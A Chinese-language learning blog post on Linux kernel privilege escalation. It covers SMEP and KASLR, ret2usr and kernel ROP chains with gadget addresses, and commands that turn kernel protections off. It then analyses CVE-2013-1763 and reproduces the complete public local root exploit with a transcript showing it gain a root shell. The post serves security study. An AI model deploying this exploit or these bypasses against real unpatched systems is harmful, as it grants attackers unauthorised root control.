0x00 前言
花了一個月的時間開始學習linux內核提權,把學到的東西都整理在這了~前面介紹了關於內核提權的一些基礎知識,后面會分析一個具體的漏洞。
0x01 內核提權
分級保護域
在計算機中用於在發生故障時保護數據,提升計算機安全的一種方式,通常稱為保護環,簡稱Rings。在一些硬件或者微代碼級別上提供不同特權態模式的CPU架構上,保護環通常都是硬件強制的。Rings是從最高特權級(通常被叫作0級)到最低特權級(通常對應最大的數字)排列的。linux使用了ring0和ring3,ring0用於內核代碼和驅動程序,ring3用於用戶程序運行。
提權
在內核中想要獲得root權限不能只是用system("/bin/sh");
而是用下面的語句:
commit_creds(prepare_kernel_cred (0));
這個函數分配並應用了一個新的憑證結構(uid = 0, gid = 0)從而獲取root權限。
0x02 內核保護措施
SMEP
管理模式執行保護。
保護內核使其不允許執行用戶空間代碼。也就是防止ret2usr攻擊,后文會講解ret2usr相關知識。
檢查smep是否開啟:
cat /proc/cpuinfo | grep smep
smep位於CR4寄存器的第20位,設置為1。CR4寄存器的值:0x1407f0 = 0001 0100 0000 0111 1111 0000
。
關閉SMEP方法
修改/etc/default/grub
文件中的GRUB_CMDLINE_LINUX="",加上nosmep/nosmap/nokaslr,然后update-grub
就好。
GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr" sudo update-grub
KASLR
內核地址空間隨機化。
內核地址顯示限制
即kptr_ restrict指示是否限制通過/ proc和其他接口暴露內核地址。
- 0:默認情況下,沒有任何限制。
- 1:使用%pK格式說明符打印的內核指針將被替換為0,除非用戶具有CAP_ SYSLOG特權
- 2:使用%pK打印的內核指針將被替換為0而不管特權。
也就是說,我們不能直接通過cat /proc/kallsyms
來獲得commit_creds的地址:
要禁用該限制使用下面的命令:
sudo sysctl -w kernel.kptr_restrict=0
0x03 ret2usr攻擊
ret2usr(return-to-usr)利用了用戶空間進程不能訪問內核空間,但是內核空間能訪問用戶空間這個特性來重定向內核代碼或數據流指向用戶空間,並在非root權限下進行提權。
將損壞的代碼或數據指針重定向到用戶空間中:
|----------------------| |----------------------| | Function ptr |<== high mem ==>| sreuct vulu_opos | |----------------------| | *dptr; | | | |----------------------| |----------------------| 內核空間 | | | Data struct ptr | | | |----------------------| | | |----------------------|--------------------------|----------------------| |----------------------| | struct vuln_ops{ | | Data struct | | void(*a)(); | |----------------------| 用戶空間 | int b; | | | |...}; | |----------------------| |----------------------| | escalate_privs() |<== low mem ==>| escalate_privs() | |----------------------| |----------------------|
- 找一個函數指針來覆蓋。
- 在這里我們通常使用ptmx_fops->release()這個指針來指向要重寫的內核空間。在內核空間中,ptmx_fops作為靜態變量存在,它包含一個指向/ dev / ptmx的file_operations結構的指針。 file_operations結構包含一個函數指針,當對文件描述符執行諸如讀/寫操作時,該函數指針被執行。
-
在用戶空間中使用mmap提權payload,分配新的憑證結構:
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); commit_creds = 0xffffffffxxxxxxxx; prepare_kernel_cred = 0xffffffffxxxxxxxx; void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } //獲取root權限
stuct cred —— cred的基本單位
prepare_kernel_cred —— 分配並返回一個新的cred
commit_creds —— 應用新的cred -
在用戶空間創建一個新的結構體“A”。
- 用提權函數指針來覆蓋這個"A"的指針。
- 觸發提權函數,執行iretq返回用戶空間,執行system("/bin/sh")提權
0x04 內核ROP
多數情況下系統是會開啟SMEP的,這時候就不能使用ret2usr了,可以使用內核ROP技術來繞過SMEP。
內核空間的ROP和用戶空間的ROP其實差不多,但是內核傳參一般是通過寄存器而不是棧,而且內核並不和用戶空間共用一個棧。
我們構建一個ROP鏈讓它執行上面的內核提權操作,但是不執行在用戶空間的任何指令。
構造的ROP鏈結構一般是這樣的:
|----------------------|
| pop rdi; ret |<== low mem |----------------------| | NULL | |----------------------| | addr of | | prepare_kernel_cred()| |----------------------| | mov rdi, rax; ret | |----------------------| | addr of | | commit_creds() |<== high mem |----------------------|
先將函數的第一個參數傳入rdi寄存器中,然后ROP鏈中的第一條指令從堆棧中彈出空值,將這個值傳遞給prepare_kernel_cred()函數。然后將指向一個新的憑證結構的指針存儲在rax中,並執行mov rdi, rax操作,再把這個rdi作為參數傳遞給commit_creds()。這樣就實現了一個提權ROP鏈。
同用戶空間的ROP一樣我們還是需要找gadget,內核空間的gadget也是可以簡單地從內核二進制文件中提取的。
首先使用extract-vmlinux腳本來解壓/boot/vmlinuz*
這個壓縮內核鏡像。extract-vmlinux位於/usr/src/linux-headers-3.13.0-32/scripts
目錄。
用這個命令解壓vmlinuz並保存到vmlinux:
sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
之后就可以用ROPgadget來獲取gadget了,最好是一次性把gadget都寫到一個文件中。
ROPgadget --binary vmlinux > ~/ropgadget
根據前面我們構造的ROP鏈,要找pop rdi; ret和mov rdi, rax; ret這倆gadget,但是在vmlinux里並沒有后面這個gadget,只找到下面的:
0xffffffff81016bc5 : pop rdi ; ret 0xffffffff810e00d1 : pop rdx ; ret 0xffffffff8118e3a0 : mov rdi, rax ; call r10 0xffffffff8142b6d1 : mov rdi, rax ; call r12 0xffffffff8130217b : mov rdi, rax ; call r14 0xffffffff81d48ba6 : mov rdi, rax ; call r15 0xffffffff810d5f34 : mov rdi, rax ; call r8 0xffffffff8117f534 : mov rdi, rax ; call r9 0xffffffff8133ed6b : mov rdi, rax ; call rbx 0xffffffff8105f69f : mov rdi, rax ; call rcx 0xffffffff810364bf : mov rdi, rax ; call rdx
只好調整最初的ROP鏈,用mov rdi, rax ; call rdx和pop rdx; ret代替原來的。用call來執行commit_creds(),而rdi就指向新的憑證結構。
ROP鏈如下:
|----------------------|
| pop rdi; ret |<== low mem |----------------------| | NULL | |----------------------| | addr of | | prepare_kernel_cred()| |----------------------| | pop rdx; ret | |----------------------| | addr of | | commit_creds() | |----------------------| | mov rdi, rax ; | | call rdx |<== high mem |----------------------|
Stack Pivot
由於我們只能在內核空間執行代碼,但是不能把ROP鏈放到內核空間中,所以只能把ROP鏈放到用戶空間。然后在內核空間找到合適的gadget放到ROP鏈中。這樣就能從用戶空間獲取指針到內核空間了。
怎么放?用Stack Pivot-->;
mov rXx, rsp ; ret add rsp, ...; ret xchg rXx, rsp ; ret(xchg eXx, esp ; ret) xchg rsp, rXx ; ret(xchg esp, eXx ; ret)
在64位的系統中使用這里的xchg rXx, rsp ; ret(xchg rsp, rXx ; ret)32位的寄存器,即xchg eXx, esp; ret或xchg esp, eXx ; ret。這樣做其實是當rXx中包含有效的內核內存地址時,就把rXx的低32位設置為新的棧指針。(rax也被設置為rsp的低32位)
之后我們還需要返回到用戶空間里執行代碼,用下面的兩個指令:
swapgs
iretq
使用iretq指令返回到用戶空間,在執行iretq之前,執行swapgs指令。該指令通過用一個MSR中的值交換GS寄存器的內容,用來獲取指向內核數據結構的指針,然后才能執行系統調用之類的內核空間程序。
iretq的堆棧布局如下:
|----------------------|
| RIP |<== low mem |----------------------| | CS | |----------------------| | EFLAGS | |----------------------| | RSP | |----------------------| | SS |<== high mem |----------------------|
新的用戶空間指令指針(RIP),用戶空間堆棧指針(RSP),代碼和堆棧段選擇器(CS和SS)以及具有各種狀態信息的EFLAGS寄存器。
最終構造的rop鏈是這樣的:
|----------------------|
| pop rdi; ret |<== low mem |----------------------| | NULL | |----------------------| | addr of | | prepare_kernel_cred()| |----------------------| | pop rdx; ret | |----------------------| | addr of | | commit_creds() | |----------------------| | mov rdi, rax ; | | call rdx | |----------------------| | swapgs; | | pop rbp; ret | |----------------------| | 0xdeadbeefUL | | iretq; | |----------------------| | shell | |----------------------| | CS | |----------------------| | EFLAGS | |----------------------| | RSP | |----------------------| | SS |<== high mem |----------------------|
還有一種比較簡單的繞過SMEP的方法是使用ROP翻轉CR4的第20位並禁用SMEP,然后再執行commit_creds(prepare_kernel_cred(0))獲取root權限。
構造下面的的結構,ROP鏈也像上面那樣構造就行了:
offset of rip pop rdi; ret mov CR4, rdi; ret commit_creds(prepare_kernel_cred(0)) swapgs iretq RIP CS EFLAGS RSP SS
關於具體的內核ROP可以查看這篇文章
分了兩篇,寫得非常好,而且寫了漏洞驅動來實踐,感興趣的可以跟進試試。
0x05 CVE-2013-1763漏洞分析
在exploit-db上找了比較典型的本地提權漏洞exp ,接下來將詳細分析並復現這個漏洞。
漏洞描述
本地提權漏洞。在net/core/sock_diag.c中,__sock_diag_rcv_msg函數未對sock_diag_handlers數組傳入的下標做邊界檢查,導致數組越界訪問,從而可執行任意代碼。
影響范圍
linux kernel 3.3-3.8
patch
可以看到patch只是在__sock_diag_rcv_msg函數里加上了數組邊界判斷。
漏洞函數
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = NLMSG_DATA(nlh); struct sock_diag_handler *hndl; if (nlmsg_len(nlh) < sizeof(*req)) return -EINVAL; hndl = sock_diag_lock_handler(req->sdiag_family); //傳入sdiag_family的值,返回數組指針sock_diag_handlers[reg->sdiag_family].但是沒有做邊界判斷,可能導致越界。 if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); //可以利用這個來執行任意代碼 sock_diag_unlock_handler(hndl); return err; }
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family) { if (sock_diag_handlers[family] == NULL) request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK, NETLINK_SOCK_DIAG, family); mutex_lock(&sock_diag_table_mutex); return sock_diag_handlers[family];//這個函數沒有對傳入的family的值的范圍,也就是當family >= AF_MAX時數組越界 }
static struct sock_diag_handler *sock_diag_handlers[AF_MAX];
漏洞利用分析
首先我們需要知道如何才能在上面的漏洞下斷點然后執行到里面去。查看net/core/sock_diag.c
源碼發現它使用了netlink.h頭文件,我們可以利用netlink協議來創建socket並發送數據觸發斷點。
查看netlink數據包結構:
Netlink套接字用於在進程和內核空間之間傳遞信息。它傳達的每個netlink消息的應用程序必須提供以下變量:
struct nlmsghdr { __u32 nlmsg_len; /*包含標題的消息長度。*/ __u16 nlmsg_type; /*消息內容的類型。*/ __u16 nlmsg_flags; /*其他標志。*/ __u32 nlmsg_seq; /* 序列號。*/ __u32 nlmsg_pid; /*發送進程的PID。*/ };
根據其結構體編寫代碼:
struct { //netlink數據包格式 struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; //創建netlink協議的socket if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } //填充數據包使其能執行到__sock_diag_rcv_msg memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
我們要獲取root權限,前面說了,不能直接直接使用system("/bin/sh");
用kernel_code函數來重新分配一個新的憑證結構:
int __attribute__((regparm(3))) kernel_code(){ commit_creds(prepare_kernel_cred(0)); return -1; }
但是我們還需要考慮如何將這段代碼放到內存中並執行,將family的值設置為多少才能返回到我們所需要的結構體。
查看下面結構體:
struct sock_diag_handler { __u8 family;// int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh); //利用dump指針 }; /*net/netlink/af_netlink.c下定義的結構體*/ struct netlink_table { struct nl_portid_hash hash; struct hlist_head mc_list; struct listeners __rcu *listeners; unsigned int flags; unsigned int groups; struct mutex *cb_mutex; struct module *module; void (*bind)(int group); int registered; }; static struct netlink_table *nl_table; struct nl_portid_hash { struct hlist_head *table; unsigned long rehash_time; unsigned int mask; unsigned int shift; unsigned int entries; unsigned int max_shift; u32 rnd; };
經調試,我們發現rehash_time這個值一直在0x10000-0x130000
這個范圍內,那么我們就可以設置family的值取到nl_table.hash就可以了。
用cat /proc/kallsyms
查看結構體的地址並計算相對偏移(如果系統開啟了內核地址顯示限制可以用這個命令禁用$ sudo sysctl -w kernel.kptr_restrict=0
):
edvison@edvison:~$ cat /proc/kallsyms | grep commit_creds
c10600a0 T commit_creds
c17b0f1c r __ksymtab_commit_creds
c17bcfb8 r __kcrctab_commit_creds
c17c500a r __kstrtab_commit_creds
edvison@edvison:~$ cat /proc/kallsyms | grep prepare_kernel_cred c1060360 T prepare_kernel_cred c17b49fc r __ksymtab_prepare_kernel_cred c17bed28 r __kcrctab_prepare_kernel_cred c17c4fce r __kstrtab_prepare_kernel_cred edvison@edvison:~$ cat /proc/kallsyms | grep nl_table c1852888 d nl_table_lock c185288c d nl_table_wait c19a00c8 b nl_table_users c19a00cc b nl_table edvison@edvison:~$ cat /proc/kallsyms | grep sock_diag_handlers c199ff40 b sock_diag_handlers
計算family值:
family = (nl_table - sock_diag_handlers)/4 = (c19a00cc - c199ff40)/4 = 99L
得到family的值后,就可以在0x10000-0x130000這個范圍里mmap一塊內存,在前面填充滿nop,然后把我們的提權代碼kernel_code()放到這塊區域的最后面,這樣就使得只要跳轉到這塊區域就能夠一路執行到我們的提權代碼。jmp_payload代碼如下:
int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); }
編譯后,objdump查看這段函數:
編寫payload,然后替換進kernel_code。
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; //將\x11全部替換成kernel_code *asd = (unsigned long)kernel_code;
完整exp如下:
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * bug found by Spender * poc by SynQ * * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux * using nl_table->hash.rehash_time, index 81 * * Fedora 18 support added * * 2/2013 */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) //獲取root權限 kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } int jump_payload_not_used(void *skb, void *nlh) { asm volatile ( "mov $kernel_code, %eax\n" "call *%eax\n" ); } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; //req.r.sdiag_family = 99; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==1){ printf("Run: %s Fedora|Ubuntu\n",argv[0]); return 0; } else if(strcmp(argv[1],"Fedora")==0){ commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 4; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } } else if(strcmp(argv[1],"Ubuntu")==0){ commit_creds = (_commit_creds) 0xc10600a0; prepare_kernel_cred = (_prepare_kernel_cred) 0xc1060360; req.r.sdiag_family = 99; //c19a00cc - c199ff40 = nl_table - sock_diag_handlers = 99L } unsigned long mmap_start, mmap_size; mmap_start = 0x10000; mmap_size = 0x120000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); //將申請的內存區域全部填充為nop char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm unsigned long *asd = &jump[4]; //將\x11全部替換成kernel_code *asd = (unsigned long)kernel_code; //把jump_payload放進mmap的內存的最后 memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); send(fd, &req, sizeof(req), 0); //發送socket觸發漏洞 printf("uid=%d, euid=%d\n",getuid(), geteuid() ); system("/bin/sh"); }
編譯測試結果:
edvison@edvison:~$ uname -a Linux edvison 3.8.0 #1 SMP Wed Feb 14 21:38:25 CST 2018 i686 i686 i686 GNU/Linux edvison@edvison:~$ id uid=1000(edvison) gid=1000(edvison) 組=1000(edvison),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(kvm),130(libvirtd) edvison@edvison:~$ gcc -g cve-2013-1763.c -o cve-2013-1763 -I /home/edvison/linux-3.8/ cve-2013-1763.c: In function ‘main’: cve-2013-1763.c:148:23: warning: initialization from incompatible pointer type unsigned long *asd = &jump[4]; //將\x11全部替換成kernel_code ^ edvison@edvison:~$ ./cve-2013-1763 Ubuntu mmapping at 0x10000, size = 0x120000 uid=0, euid=0 # id uid=0(root) gid=0(root) 組=0(root) # exit
0x06 參考鏈接
繞過smep:http://cyseclabs.com/slides/smep_bypass.pdf
ret2dir:http://www.cnblogs.com/0xJDchen/p/6143102.html
內核ROP第一部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/
內核ROP第二部分:https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/
cve-2013-1763 exploit:https://www.exploit-db.com/exploits/33336/
cve-2013-1763 exploit 代碼分析 :https://my.oschina.net/fgq611/blog/181812
netlink機制:http://www.cnblogs.com/iceocean/articles/1594195.html